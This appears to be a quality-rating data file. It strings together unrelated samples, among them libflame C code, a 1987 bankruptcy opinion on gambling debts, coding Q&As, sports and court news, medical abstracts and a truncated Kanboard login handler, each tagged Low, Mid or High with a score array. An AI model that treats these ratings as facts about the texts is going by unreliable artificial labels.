a10t, cs_A, A20, rs_A, cs_A ); // FLA_Trmv_external( FLA_LOWER_TRIANGULAR, FLA_TRANSPOSE, FLA_NONUNIT_DIAG, A00, a10t ); bl1_ctrmv( BLIS1_LOWER_TRIANGULAR, BLIS1_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_behind, A00, rs_A, cs_A, a10t, cs_A ); // FLA_Invert( FLA_NO_CONJUGATE, alpha11 ); bl1_cinverts( BLIS1_NO_CONJUGATE, alpha11 ); /------------------------------------------------------------/ } return FLA_SUCCESS; } FLA_Error FLA_Trinv_ln_opz_var4( int mn_A, dcomplex* buff_A, int rs_A, int cs_A ) { dcomplex* buff_m1 = FLA_DOUBLE_COMPLEX_PTR( FLA_MINUS_ONE ); int i; for ( i = 0; i < mn_A; ++i ) { dcomplex* A00 = buff_A + (0 )cs_A + (0 )rs_A; dcomplex* a10t = buff_A + (0 )cs_A + (i )rs_A; dcomplex* A20 = buff_A + (0 )cs_A + (i+1)rs_A; dcomplex* alpha11 = buff_A + (i )cs_A + (i )rs_A; dcomplex* a21 = buff_A + (i )cs_A + (i+1)rs_A; dcomplex* A22 = buff_A + (i+1)cs_A + (i+1)rs_A; int mn_ahead = mn_A - i - 1; int mn_behind = i; /------------------------------------------------------------/ // FLA_Scal_external( FLA_MINUS_ONE, a21 ); // FLA_Trsv_external( FLA_LOWER_TRIANGULAR, FLA_NO_TRANSPOSE, FLA_NONUNIT_DIAG, A22, a21 ); bl1_zscalv( BLIS1_NO_CONJUGATE, mn_ahead, buff_m1, a21, rs_A ); bl1_ztrsv( BLIS1_LOWER_TRIANGULAR, BLIS1_NO_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_ahead, A22, rs_A, cs_A, a21, rs_A ); // FLA_Ger_external( FLA_MINUS_ONE, a21, a10t, A20 ); bl1_zger( BLIS1_NO_CONJUGATE, BLIS1_NO_CONJUGATE, mn_ahead, mn_behind, buff_m1, a21, rs_A, a10t, cs_A, A20, rs_A, cs_A ); // FLA_Trmv_external( FLA_LOWER_TRIANGULAR, FLA_TRANSPOSE, FLA_NONUNIT_DIAG, A00, a10t ); bl1_ztrmv( BLIS1_LOWER_TRIANGULAR, BLIS1_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_behind, A00, rs_A, cs_A, a10t, cs_A ); // FLA_Invert( FLA_NO_CONJUGATE, alpha11 ); bl1_zinverts( BLIS1_NO_CONJUGATE, alpha11 ); /------------------------------------------------------------/ } return FLA_SUCCESS; } #endif	Low	[ 0.517021276595744, 30.375, 28.375 ]
76 B.R. 857 (1987) In re William Noah KNIGHT, Debtor. Charles A. GOWER, Trustee, Plaintiff, v. HOTEL RAMADA OF NEVADA, d/b/a Tropicana Hotel and Country Club, Defendant. Bankruptcy No. 84-40483-COL, Adv. P. No. 86-4051-COL. United States Bankruptcy Court, M.D. Georgia, Columbus Division. August 13, 1987. 858 Fife M. Whiteside, Columbus, Ga., for plaintiff. Nolan B. Harmon, Atlanta, Ga., for defendant. MEMORANDUM OPINION JOHN T. LANEY, III, Bankruptcy Judge. The above-captioned Adversary Proceeding is before the Court on cross motions for summary judgment. The Trustee has objected to proofs of claim filed by a creditor, Hotel Ramada of Nevada, d/b/a Tropicana Hotel and Country Club (hereinafter "Tropicana"). The Trustee has also filed a four count counterclaim. The Trustee admits that Tropicana is entitled to summary judgment as to Counts One, Three and Four. The remaining Count of the counterclaim, Count Two involves an alleged post-petition transfer in the amount of $5,000.00. The undisputed facts show that the Debtor owed a considerable amount to Tropicana as a result of gambling debts prior to filing a Chapter 11 petition, which was later converted to Chapter 7. While the case was pending under Chapter 11 the Debtor, without authorization from the Court, purchased two cashier's checks from a bank, each in the amount of $5,000.00. He then traveled to Nevada, where gambling is admittedly legal, and delivered these cashier's checks to Tropicana. By affidavit the Debtor contends that he paid these funds on his past due account with Tropicana, as a result of which he received new credit. Tropicana does not admit applying these funds to the past due account, but does admit receipt of the cashier's checks and contends that as a result of the receipt of the same, the Debtor was extended postpetition credit, presumably for further gambling. Apparently at the request of the Debtor the bank stopped payment on the cashier's checks. However, Tropicana either sued or threatened suit against the bank and settled for receipt of $5,000.00. It is this $5,000.00 which is in dispute in Count Two. The Trustee contends that the $5,000.00 was a post petition transfer of funds of the estate out of the ordinary course of business which is avoidable by the Trustee under Section 549 of the Bankruptcy Code and recoverable under Section 550. Tropicana contends that since stop payment orders were honored on the cashier's checks it received no funds from the estate of the Debtor, but that the $5,000.00 it received was from the bank, a third party and therefore that it is not an avoidable postpetition transaction. Since the affidavit of the Debtor shows that the bank subsequently set off against funds in his account an amount of approximately $3,500.00, Tropicana contends that if it is liable its liability is limited to $3,500.00, the amount by which the estate was diminished. First, with regard to the objection to the proofs of claim, the Court notes that Claims No. 1, 16, and 31 were filed by Tropicana. Each claim is for $40,000.00 and is concededly for gambling debts incurred 859 by the Debtor prepetition. It is conceded that there is only one such pre-petition debt totalling $40,000.00 and that the other claims are duplicates. Since Claim No. 31 is the most complete and the Trustee has stipulated that it may be considered an amendment of one of the earlier claims which was filed before the bar date, objections to claims numbered 1 and 16 are sustained and said claims are stricken. Claim Number 31 is allowed and considered timely filed. The Trustee argues that Tropicana's claim should be disallowed because of the public policy of Georgia against gambling. The pertinent provision of the Bankruptcy Code is Section 502(b), which provides in part that: ". . . if such objection to a claim is made, the court, after notice and a hearing, shall determine the amount of such claim in lawful currency of the United States as of the date of the filing of the petition, and shall allow such claim in such amount except to the extent that (1) such claim is unenforceable against the debtor and property of the debtor, under any agreement or applicable law for a reason other than because such claim is contingent or unmatured. . . ." (Emphasis added.) The Trustee contends that "applicable law" refers to the law of the forum, which is Georgia. The Trustee contends that in a Georgia court, Georgia law would be applied and that Georgia has a strong public policy against enforcing gambling debts. The Trustee contends that even though the gambling debt would have been legally enforceable in Nevada, Georgia courts would not allow its enforcement in Georgia. Tropicana responds that the "applicable law" referred to in Section 502(b) is the law of the state where the contract originated, to-wit Nevada. It relies on In re Smith, 66 B.R. 58 (Bankr.D.Md.1986). That case cited legislative history giving examples of applicable defenses which bear upon the execution, interpretation, and validity of the contract as indicating that Congress intended the phrase "applicable law" to be the place of the making of the contract, not of the forum, unless the parties have agreed to the contrary. Ibid, 59 (footnote), 61. The Smith decision was affirmed in an unreported decision by the District Court that did not reach the question of the meaning of the phrase "applicable law," since it held that the alternative ground of the holding that a Maryland court would enforce the gambling contract if it was legal where incurred was correct. Maryland has legalized various forms of gambling and has its own state lottery. (In re Smith, 77 B.R. 33 (D.C.Md.1987). The Trustee cites a number of Georgia statutes that make gambling illegal, to-wit: O.C.G.A. Sections 16-12-21, 16-12-22, 16-12-23, 16-12-24, and 16-12-28. O.C.G.A. Section 13-8-2 provides in part: "(a) A contract which is against the policy of the law cannot be enforced. Contracts deemed contrary to public policy include but are not limited to: * * * (4) Wagering contracts. . . . " O.C.G.A. Section 13-8-3 provides that gambling contracts are void and money paid or property delivered as consideration for gambling may be recovered. The Trustee relies upon a diversity case from the United States District Court for the Southern District of Georgia, Gulf Collateral, Inc. v. Morgan, 415 F.Supp. 319 (1976). In that case, an action was brought to collect a gambling debt which arose in Nevada where gambling was legal. The debtor was granted summary judgment, Judge Lawrence holding that the public policy of Georgia rendered such obligations unenforceable in the state. Tropicana argues that Gulf Collateral is not controlling because the public policy of Georgia has changed since 1976 and also because the Bankruptcy Court is not bound to apply the law of Georgia as was the District Court in the diversity action. In support of a change in public policy, Tropicana cites a 1977 law regulating and licensing nonprofit bingo games, codified as O.C.G.A. Sections 16-12-50 et seq. and a 1985 law allowing manufacturing, processing, selling, possessing or transporting equipment, devices and materials used in lotteries *860 conducted by other states, codified as O.C.G.A. Section 16-12-35. The Supreme Court of the United States recognized in Vanston Bondholders Protective Committee v. Greene, 329 U.S. 156, 67 S.Ct. 237, 91 L.Ed. 162 (1946) that a Bankruptcy Court is not required to adjudicate controversies as if it were a state court in the state in which it sits. Instead, "bankruptcy courts must administer and enforce the Bankruptcy Act as interpreted by this Court in accordance with authority granted by Congress to determine how and what claims shall be allowed under equitable principles." Ibid, 329 U.S. at 162-63, 67 S.Ct. at 240. This Court is not persuaded that the public policy of Georgia has been changed to the extent that a Georgia court or a Federal District Court in a diversity case would enforce a gambling obligation. The Georgia Court of Appeals, citing O.C.G.A. Section 13-8-2(a)(4), has recently stated in dicta that it is "fully aware that gambling is against the public policy of Georgia. . . ." Hargreaves v. Greate Bay Hotel & Casino, 182 Ga.App. 852, 357 S.E.2d 305 (1987). However, this Court agrees with Judge Mannes in In re Smith, supra, that the phrase "applicable law" in Section 502(b) of the Bankruptcy Code means the place of making the contract, not the place of the forum, unless the contract provides to the contrary. Therefore, Tropicana's proof of claim No. 31 is allowed and the Trustee's objection to the same is overruled. With regard to Count Two of the counterclaim, the Court finds that the net result of the postpetition dealings between the Debtor and Tropicana was an unauthorized transfer of property of the estate in the net amount of $3,500.00. Even though Tropicana actually received $5,000.00 and even though such receipt was not the immediate result of the honoring of the post-petition unauthorized cashier's checks, the eventual result was that the estate was diminished by $3,500.00 as a result of a postpetition unauthorized transfer. This transfer may be avoided under Section 549 of the Bankruptcy Code and the Trustee may recover that amount for the benefit of the estate under Section 550. An order will be entered in accordance herewith. ORDER In accordance with the Opinion of the Court rendered on today's date, IT IS ORDERED as follows: (1) The Trustee's objections to claims Numbered 1 and 16 are sustained and said claims are disallowed. (2) The Trustee's objection to Claim No. 31 of Hotel Ramada of Nevada, d/b/a Tropicana Hotel and Country Club ("Tropicana") is overruled and said claim is allowed as an unsecured claim, timely filed, in the amount of $40,000.00. (3) Tropicana is granted summary judgment in its favor as to Counts One, Three and Four of the Trustee's counterclaim. (4) The Trustee is granted judgment on Count Two of its counterclaim against Tropicana in the amount of $3,500.00, the Court finding that Tropicana received an unauthorized postpetition transfer from the Debtor in said amount and that said amount is recoverable in this action by the Trustee against Tropicana. (5) Said judgment in favor of the Trustee and against Tropicana shall bear interest postjudgment at the rate of 6.98 per cent per annum.	Low	[ 0.5035460992907801, 26.625, 26.25 ]
May 11, 2007 Mark Leat, the Longton North BNP councillor on Stoke Council has decided he's had enough of the fascist BNP and stumbled across the council chamber to become a non-aligned Independent, thus wiping out in a single embarrassing go the staggering single extra seat that the BNP made at last week's local government elections. So, after putting up the record number of 750 candidates and ploughing a phenomenal amount of money into the campaign - delivering up to six campaign leaflets in some areas, we're told - the party has ended up precisely where it started. Leat's only claim to fame is a bit of BNP self-promotion when a pre-election Voice of Freedom article claimed the party was achieving credibility following his award of chairman of the Health Commission. Following this, the party claimed it was 'working towards the day when the BNP hold the majority on Stoke Council'. That's put an end to that plan.	Low	[ 0.450431034482758, 26.125, 31.875 ]
Q: Why isn't the action for my newly created UISwitch being called (Objective-c, Xcode 7.0.1)? So I have a UIswitch (firstSwitch) which when it is ON calls an action where it creates another UISwitch (secondSwitch). Then I want to repeat this step where the newly created UISwitch (secondSwitch) calls an action where it creates a new UISwitch (thirdSwitch) when it is switched ON. But the problem is, the first newly created switch (secondSwitch) does not detect the ON state so it cannot create the new UISwitch (thirdSwitch). Any advice or guidance on this would be greatly appreciated. Thank you in advance. Below are snippets of code to get a better idea (please disregard the positioning of x, y, width, height): - (void)viewDidLoad { [super viewDidLoad]; [self loadFirstSwitch]; [firstSwitch addTarget:self action:@selector(switchIsChanged:) forControlEvents:UIControlEventValueChanged]; //This secondSwitch does not detect the change in state to ON [secondSwitch addTarget:self action:@selector(switchIsChanged:) forControlEvents:UIControlEventValueChanged]; } - (void)loadFirstSwitch { firstSwitch = [[UISwitch alloc] initWithFrame:CGRectMake(screenWidth - 50 - buttonPadding, 527.5 + buttonWidth, 50, 27)]; [scrollView addSubview:firstSwitch]; } - (void)loadSecondSwitch{ secondSwitch = [[UISwitch alloc] initWithFrame:CGRectMake(screenWidth - 50 - buttonPadding, 527.5 + buttonWidth, 50, 27)]; [scrollView addSubview:secondSwitch]; } - (void)loadThirdSwitch{ thirdSwitch = [[UISwitch alloc] initWithFrame:CGRectMake(screenWidth - 50 - buttonPadding, 527.5 + buttonWidth, 50, 27)]; [scrollView addSubview:thirdSwitch]; } - (void) switchIsChanged:(UISwitch *)paramSender{ if(paramSender == firstSwitch){ if([paramSender isOn]){ [self loadSecondSwitch]; }else{ NSLog(@"Switch is off"); } } if(paramSender == secondSwitch){ if([paramSender isOn]){ [self loadThirdSwitch]; }else{ NSLog(@"Switch is off"); } } } A: You are adding target to secondSwitch before it is created, it should be done after it is created, better to put in the function loadSecondSwitch, so you code looks like - (void)loadSecondSwitch{ secondSwitch = [[UISwitch alloc] initWithFrame:CGRectMake(screenWidth - 50 - buttonPadding, 527.5 + buttonWidth, 50, 27)]; [scrollView addSubview:secondSwitch]; [secondSwitch addTarget:self action:@selector(switchIsChanged:) forControlEvents:UIControlEventValueChanged]; } Remove [secondSwitch addTarget:self action:@selector(switchIsChanged:) forControlEvents:UIControlEventValueChanged]; from viewDidLoad. I hope it works for you. Cheers.	Mid	[ 0.598639455782312, 33, 22.125 ]
A.1. Releases Meat Scented Candles Just in Time for Father’s Day File this under weird things you buy just to see what they are like. A.1. is introducing the world to meat-scented candles. According to the A.1. website the candles smell like coming home to a nice, juicy, hearty dinner with the sweet and tangy taste of A.1. sauce. Who doesn't want their home and all their belongings to smell like beef? The meat candles are only $14.99 and would make a unique Father's Day gift if your dad is a grillmaster, or just really likes red meat. There are three different "flavors" to choose from on the website: Original Meat Candle, Backyard BBQ Candle, and the Burger Candle. I love to put A.1. on everything, but to be honest I can't say that I love the smell of it. It does make broccoli way better, and it is even delicious with Salmon so maybe in the future we will be able to submit for new A.1. scents? I might have to order myself a meat candle and just burn it in my office at work to see how many co-workers get very hungry all of the sudden. If you want to order yourself or your Dad a meat candle you can do so on the A.1. website, here.	Low	[ 0.39259259259259205, 19.875, 30.75 ]
Knicks star Carmelo Anthony said Saturday that he didn't think he deserved to be thrown out of Friday's game against the Celtics and hinted that a previous history with the referee who ejected him may have played a role in his dismissal. "I always feel it's something. Every time we ... I don't want to say it's personal, but I always feel like it's something," Anthony said of referee Tony Brothers, who ejected him on Friday. Carmelo Anthony leaves the court after being ejected by referee Tony Brothers in Friday's game against the Celtics. Bob DeChiara/USA TODAY Sports Anthony, speaking to reporters in Toronto before Knicks' 118-107 loss, added: "I didn't think [Friday] night it called for a tech or an ejection at that point of time. I really don't know what to say about the situation." Anthony's wife, La La Anthony, tweeted on Friday night that Brothers "hates" Anthony and has a "personal" issue with the Knicks star. He hates Mel. It's personal. Always has. https://t.co/oHGrrOe30Q — LA LA (@lala) November 12, 2016 Brothers told a pool reporter in Boston that he had no history with Anthony, a 13-year veteran. La La Anthony, however, reiterated on Twitter that Brothers has a personal issue with Anthony after Brothers' denial. Carmelo Anthony was tossed with 4 minutes, 44 seconds left in the second quarter after consecutive technical fouls issued by Brothers. Anthony received the first technical when he said something to Brothers after a loose ball foul call. Brothers walked away, but Anthony trailed behind and kept talking. He was then hit with the second technical. Brothers later told a pool reporter that he whistled Anthony for the technical due to "bad language." "One, I don't feel I said anything on getting a tech -- and two -- getting ejected,'' Anthony said. He added: "There's nothing for me to say to him. It ain't personal with me from my end. I don't have anything to say to him. He's a ref. I play. I'll keep my mouth shut next time.'' Anthony reportedly argued with Brothers during the Knicks' road loss to Detroit earlier this season. Brothers was also officiating the Knicks-Celtics game in 2013 in which Anthony and Kevin Garnett had a run-in on the court that escalated into a confrontation after the game in the bowels of Madison Square Garden. ESPN's Ian Begley contributed to this report.	Low	[ 0.515384615384615, 33.5, 31.5 ]
Q: Reverse a string and get an error The error is The best overloaded method match for 'string.String(char[])' has some invalid arguments My code: string reverseValue = new string( value.Select((c, index) => new { c, index }) .OrderByDescending(x => x.index).ToArray()); A: char[] chars = value.ToCharArray(); Array.Reverse(chars); new String(chars); Or (somewhat slower) new String(value.Reverse().ToArray()); Note that this won't handle UTF32 surrogate pairs, nor combining characters.	Mid	[ 0.633053221288515, 28.25, 16.375 ]
Tissue pharmacokinetics of fleroxacin in humans as determined by positron emission tomography. The delivery of fleroxacin, a new broad-spectrum fluoroquinolone, to the major organs of the body was studied in 12 normal human volunteers (nine men and three women), utilizing positron emission tomography (PET). Following the infusion of 20 mCi of [(18)F]fleroxacin in conjuction with a standard therapeutic dose of 400 mg, images were acquired over 8 h. Beginning the next day, the subjects received unlabeled drug at a dose of 400 mg/day for 3 days, with a repeat PET study on the fifth day. Fleroxacin is distributed widely throughout the body, with the notable exception of the central nervous system, with stable levels achieved within 1 h after completion of the infusion. Especially high peak concentrations (18 mug/g) were achieved in the kidney, liver, lung myocardium, and spleen. The mean plateau concentrations (2-8 h post-infusion, mug/g) were: brain 0.83; myocardium, 4.53; lung, 5.80, liver, 7.31; spleen, 6.00; bowel, 3.53; kidney, 8.85; bone, 2.87; muscle, 4.60; prostate, 4.65; uterus, 3.87; breast, 2.68; and blood, 2.35. Repetitive dosing had no significant effect on the pharmacokinetics of the drug. Since the MIC(90)'s of the family Enterobacterioaceae and Neisseria gonorrhoeae are <2 mug/ml, with the great majority of the individual species 1 mug/ml, these results suggest that a single daily dose of 400 mg of fleroxacin should be effective in the treatment of infections such as urinary tract infection and gonorrhea.	High	[ 0.680216802168021, 31.375, 14.75 ]
Checklist for the evaluation of low vision in uncooperative patients. To present a checklist for the evaluation of low vision in uncooperative patients; in this specific case, children with neurological deficits. The checklist includes several behavioral indicators obtainable with a standard clinical examination. Each test is assigned a score (0=failure, 1=success). The final visual quotient score is obtained by dividing the partial score by the total number of tests performed. Eleven children with cerebral visual impairment were studied using behavioral and preferential looking techniques. Visual quotient was >0 in all patients, indicating that residual visual function was always detectable. Average visual quotient was 0.74. Visual quotient can be useful both for follow-up examinations and comparison and integration with other evaluation methods (behavioral and instrumental) of residual visual capacity. In particular, if combined with preferential looking techniques, visual quotient testing permits characterization of the entire spectrum of low vision.	Mid	[ 0.6361323155216281, 31.25, 17.875 ]
JACKSONVILLE, Fla. -- Jacksonville Jaguars fans might be divided on whether management made a mistake by re-signing quarterback Blake Bortles or failing to draft an offensive lineman with the team's first-round draft pick, but they all agree on this: Myles Jack wasn't down. It has been nearly five months since officials made a huge mistake in the AFC Championship Game at Gillette Stadium, when they blew the whistle to stop Jack from returning a fumble for a touchdown, but Jaguars fans still (understandably) won't let it go. That's why "Myles Jack wasn't down" has become a thing around the city. A really, really big thing. Two local breweries have named a pair of microbrews with the phrase. High schoolers have decorated their mortarboards with it at graduation. T-shirts have been printed. Signs have cropped up on television at other sporting events, such as "WWE Monday Night Raw" in Albany, New York. "Myles Jack wasn't down" even made its way into Rohan Bansal's valedictorian speech at Jacksonville's Atlantic Coast High School. "I love it," Jack told ESPN. "I'm a B-list celebrity on this team. We got Blake, Leonard [Fournette], Jalen [Ramsey]. Anywhere I can get my name in there, I'm cool with it." Jack, a linebacker, admits that the fun people are having certainly eases some of the pain of what happened on the sixth play of the fourth quarter, with the Jaguars leading the New England Patriots 20-10. The Patriots used a trick play -- receiver Danny Amendola threw a pass to running back Dion Lewis -- but Jack ran Lewis down after a 22-yard gain and ripped the ball out of Lewis' grasp as they went to the ground. Jack ended up with the ball, got up and headed for the end zone, but officials blew the play dead and stopped what would have been a touchdown. After reviewing the play, the officials ruled that Jack was down by contact, and the Jaguars took over on their 33. "At that moment, at that time, when I picked the ball up and ran and why I slammed the ball down, like, I knew I wasn't down," Jack said. "So I was screaming at the ref, like, 'Why the eff are you blowing the play down when I know it's not down?' Enough people at home know I wasn't down. People at the stadium know I wasn't down. "It [people having fun with the phrase] is comforting, I guess. Therapeutic." The Jaguars went three-and-out after the turnover, and the Patriots responded with the first of their two fourth-quarter touchdowns. Had officials not prematurely blown Jack's return dead, the Jaguars would have been ahead 27-10, and the entire complexion of the game would have changed. That is why Jaguars fans won't -- and can't -- let it go. That includes guys such as Intuition Ale Works founder Ben Davis, who decided to brew a small batch of a Belgian Tripel and call it "Myles Jack Wasn't Down." Davis said he got the idea from seeing social media posts with the phrase. He started selling the beer June 7 at his brewery and tap room two blocks from TIAA Bank Field. "We want to promote the Jaguars," Davis said. "A lot of our biggest drinkers and supporters are Jags fans and are the demographic that kind of gets behind them. And I truly hate the Patriots. "... The older you get as a brewery and the more beers you brew, it definitely gets harder and harder to come up with names. It's something that we thought was fun." So did Eric Luman, who owns Green Room Brewing in Jacksonville Beach. During the NFL playoffs, his company brewed two beers named Sacksonville in honor of the Jaguars' defensive nickname, and it went over so well that he wanted to try another brew. It was barroom manager Brendan Davis who came up with the idea to name the IPA they brewed two months ago Straight Facts -- Myles Jack Wasn't Down. Luman said it was a small batch, and there isn't any left. "It went over really well," Luman said. "Those two Sacksonville beers we did and Myles Jack just flew off our shelves." Makes sense. There's no better way for Jaguars fans to drown their sorrows than with a beer named after the play that might have robbed the franchise of its first Super Bowl appearance. Or maybe play a joke on the president of the United States by asking his Twitter account to DM you because you have information that proves the Russia investigation is a witch hunt -- and answer the message with: Myles Jack wasn't down in the AFC Championship Game against the Patriots. That, by the way, is Jack's favorite. This is the funniest thing I've seen all year 😂😂😂 https://t.co/sDCZIYR22V — Myles Jack (@MylesJack) April 29, 2018 "I got on Twitter and [saw] that, and I really laughed out loud," he said. The players can do that now, but that doesn't mean they no longer believe they were robbed by the officials. "We saw it live, and I thought it then, and I still think it now," Bortles said. "I think it's tough to argue with, but there's definitely things we could have done in that game outside of that play, offensively, that could have won us the game, so it's tough to point out that or use that [as an excuse], but he definitely wasn't down."	Mid	[ 0.643391521197007, 32.25, 17.875 ]
Data circuit-terminating equipment A data circuit-terminating equipment (DCE) is a device that sits between the data terminal equipment (DTE) and a data transmission circuit. It is also called data communication(s) equipment and data carrier equipment. Usually, the DTE device is the terminal (or computer), and the DCE is a modem. In a data station, the DCE performs functions such as signal conversion, coding, and line clocking and may be a part of the DTE or intermediate equipment. Interfacing equipment may be required to couple the data terminal equipment (DTE) into a transmission circuit or channel and from a transmission circuit or channel into the DTE. Usage Although the terms are most commonly used with RS-232, several data communication standards define different types of interfaces between a DCE and a DTE. The DCE is a device that communicates with a DTE device in these standards. Standards that use this nomenclature include: Federal Standard 1037C, MIL-STD-188 RS-232 Certain ITU-T standards in the V series (notably V.24 and V.35) Certain ITU-T standards in the X series (notably X.21 and X.25) A general rule is that DCE devices provide the clock signal (internal clocking) and the DTE device synchronizes on the provided clock (external clocking). D-sub connectors follow another rule for pin assignment. DTE devices usually transmit on pin connector number 2 and receive on pin connector number 3. DCE devices are just the opposite: pin connector number 2 receives and pin connector number 3 transmits the signals. When two devices, that are both DTE or both DCE, must be connected together without a modem or a similar media translator between them, a crossover cable must be used, e.g. a null modem for RS-232 or an Ethernet crossover cable. See also Networking hardware References External links Data Terminating Equipment or Data Circuit-Terminating Equipment speeds, IBM Category:Data transmission Category:Telecommunications equipment	High	[ 0.6934812760055471, 31.25, 13.8125 ]
Open-end spinning devices with such rotor bearing arrangements are known in various different embodiments, and have been extensively described, for example in German Patent Publications DE 195 43 745 A1, DE 196 01 034 A1, DE 197 05 607 A1 or DE 41 17 175 A1. For example, German Patent Publication DE 195 43 745 A1 describes an embodiment in which the spinning rotor is supported both radially and axially by means of a magnetic bearing arrangement. The magnetic bearing at the end of the rotor shaft described in German Patent Publication DE 195 43 745 A1 has a magnetic rotor ring as well as a magnetic stator ring. Here, the two magnetic rings are aligned magnetically in such a way that a bearing gap is created between them. To suppress the radial oscillations of the magnetically seated spinning rotor, which occur in particular during a starting phase, the stator magnet is furthermore seated with its movements limited in the radial direction. Here, the radial deflections of the magnetic stator ring are damped by a mechanical friction device. However, it is disadvantageous with this known installation that the static charge, which in particular occurs during the spinning of synthetic materials in the area of the spinning rotor, cannot be dissipated in a defined manner, since the spinning rotor is electrically insulated from the grounded components of the open-end spinning device. This electric charge has an interfering effect on the spinning process. In the open-end spinning device in accordance with German Patent Publication DE 197 05 607 A1, the spinning rotor is supported with its rotor shaft in the wedge gaps of a support ring bearing, and rests axially against an aerostatic bearing. The rotor shaft is made of carbide, at least in the area of the bearing surface which cooperates with the axial bearing. Because of the electrically insulated bearing of the spinning rotor, it is also possible with this known bearing arrangement for a static charge of the spinning rotor to appear during spinning of synthetic material in particular, leading to disadvantageous effects on the spinning process. Even temporary unintentional contact between the rotor shaft bearing surface and the bearing plate of the axial bearing, made of a carbon material, cannot produce a sufficient removal of the charge. An open end spinning device is furthermore known from German Patent Publication DE 196 01 034 A1, in which the spinning rotor is aerostatically seated both radially and axially. As with the above described bearing arrangements, the bearing arrangement in accordance with German Patent Publication DE 196 01 034 A1 also has the problem that a permanent electric insulation of the spinning rotor during the spinning operation is produced because of the air gap of the aerostatic bearing, and therefore no sufficient removal of the electrostatic charge created during spinning takes place. The problem of insufficient grounding of the spinning rotor, in particular in the course of processing synthetic feed materials, is also present in bearing arrangements of open-end spinning devices, such as those known from German Patent Publication DE 41 17 175 A1. With these bearing arrangements, which per se have proven themselves in actual use, the radial seating of the rotor shaft is customarily provided by plastic-coated support rings. Since the rotor shaft has a non-conducting, for example oxide-ceramic, insert in the area of its axial support, this also leads to an electric insulation and therefore to a static charge buildup of the spinning rotor.	Mid	[ 0.5959079283887461, 29.125, 19.75 ]
Juvenile court a place of hope, despair, second chances Judge John Williams presides over cases in Hamilton County Juvenile Court on Wednesday.(Photo: The Enquirer/Amanda Rossmann) Story Highlights According to the 2013 annual report, last year Hamilton County Juvenile Court handled 720 complaints for assault, 216 for menacing, 75 for sexual offenses, 309 for robbery, 434 for burglary, 975 for theft, 363 for vandalism and damage and 3 for homicide, among other charges. At 800 Broadway, chief magistrate Carla Guenthner steps into an elevator and pushes the button marked 1. “Everything quiet on the first floor?” she asks the security guard beside her. The woman looks at her with a knowing smile. “We’ll see. It’s subject to change minute to minute.” Probably nothing truer has ever been said of 800 Broadway, which is shorthand for the Hamilton County Juvenile Court. About 30,000 new cases are heard here each year, all of them involving that segment of the population whose brains are still under development, along with their driving ability, decision-making skills and manners. It’s why, brought into court in handcuffs and shackles, a female teenage defendant has been known to pass by a young court worker and whisper brightly, “I really like your skirt!” They may be facing charges for menacing, theft, marijuana, chronic truancy or assault – and they may have a rap sheet longer than the “Loyalty” tattoo running down their forearm – but they’re still kids. Which is what makes juvenile court a setting of both endless hope and latent despair. Wednesday morning, Judge John Williams’ docket started with a 16-year-old and 17-year-old charged in a Madisonville killing, and a 13-year-old charged with reckless homicide in the shooting death of his 13-year-old friend. His parents and grandfather watching red-eyed from chairs along the wall, the boy – hardly 5 feet tall – was led into court by a sheriff’s deputy. He curled forward in his chair, made eye contact with no one, and hung his head. In his chambers later, Williams says, “What I’m always struck by – even in some of the really violent cases – is that they’re so small.” A law student interning at the court says the first thing she notices is this: “They’re not scary – they may be intimidated, confused sometimes, but not scary.” Which cannot always be said of their parents. Court officials say parents’ support is crucial for helping a wayward kid. But some moms and dads don’t agree with that, or seemingly anything else a judge or magistrate tells them. Thursday, as she was supposed to be answering visiting Judge Sylvia Hendon’s questions about why her 16-year-old son was living unsupervised and apart from his family, a mother rolled out her own list of complaints and rebuttals instead. Asked to release the boy on probation to his mother, Hendon said he should have been there for the last two years. “Excuse me? There’s no point in coming in here. We’ll be fighting this,” his mother said, and left the courtroom. Moments later, glancing back to see his mother, the 16-year-old saw only her empty chair. Wednesday, when Williams gave her 14-year-old son additional days in juvenile detention and probation instead of sending him to the state’s youth prison, Regina Owens sat nodding her head and wiping tears from her eyes. When Williams asked her to let the court know if there were infractions, she said, “I’ll tell on him in a heartbeat.” Afterward, in the hallway outside, Owens’ older son, Demetrius Harris, remembered being in the same courtroom five years ago, when he was a 14-year-old who had accidentally shot and wounded a friend. He could have been sentenced to 17 years in prison but served a short term in detention instead. He still remembers then-Judge Thomas Lipps’ admonitions. They stuck. “I got my GED, I got a job and I’m going to the Marines next year – and I never came back here,” he says. It’s the best outcome the juvenile court judges and magistrates could hope for and the reason that, faced with packed dockets, they still take time to advise, warn, encourage, scold and sometimes cajole the young people before them. “If you loved your mom, would you walk around with a 45 (caliber handgun)?” Williams asks one young defendant facing weapon charges. “I’m not going to put up with this, with guns. Do you understand if you don’t listen, what I’m going to do? I’m going to send you to DYS (the Department of Youth Services). I’m not going to let you fail.” Later, Williams says that if only two out of 100 youth heed his warnings, “I’m still always going to say it.” From his corner of the courtroom, Williams’ bailiff, John Englert, says the power of juvenile court is that the youths who come before it still have time to change. “Sometimes the judge only has a few minutes to talk to them, but sometimes that’s the minute that works.” ■	Mid	[ 0.5551020408163261, 34, 27.25 ]
<?php namespace Kanboard\Subscriber; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Kanboard\Core\Security\AuthenticationManager; use Kanboard\Core\Session\SessionManager; use Kanboard\Event\AuthSuccessEvent; use Kanboard\Event\AuthFailureEvent; /** * Authentication Subscriber * * @package subscriber * @author Frederic Guillot / class AuthSubscriber extends BaseSubscriber implements EventSubscriberInterface { /* * Get event listeners * * @static * @access public * @return array / public static function getSubscribedEvents() { return array( AuthenticationManager::EVENT_SUCCESS => 'afterLogin', AuthenticationManager::EVENT_FAILURE => 'onLoginFailure', SessionManager::EVENT_DESTROY => 'afterLogout', ); } /* * After Login callback * * @access public * @param AuthSuccessEvent $event / public function afterLogin(AuthSuccessEvent $event) { $this->logger->debug('Subscriber executed: '.__METHOD__); $userAgent = $this->request->getUserAgent(); $ipAddress = $this->request->getIpAddress(); $this->userLockingModel->resetFailedLogin($this->userSession->getUsername()); $this->lastLoginModel->create( $event->getAuthType(), $this->userSession->getId(), $ipAddress, $userAgent ); if ($event->getAuthType() === 'RememberMe') { $this->userSession->validatePostAuthentication(); } if (session_is_true('hasRememberMe')) { $session = $this->rememberMeSessionModel->create($this->userSession->getId(), $ipAddress, $userAgent); $this->rememberMeCookie->write($session['token'], $session['sequence'], $session['expiration']); } } /* * Destroy RememberMe session on logout * * @access public / public function afterLogout() { 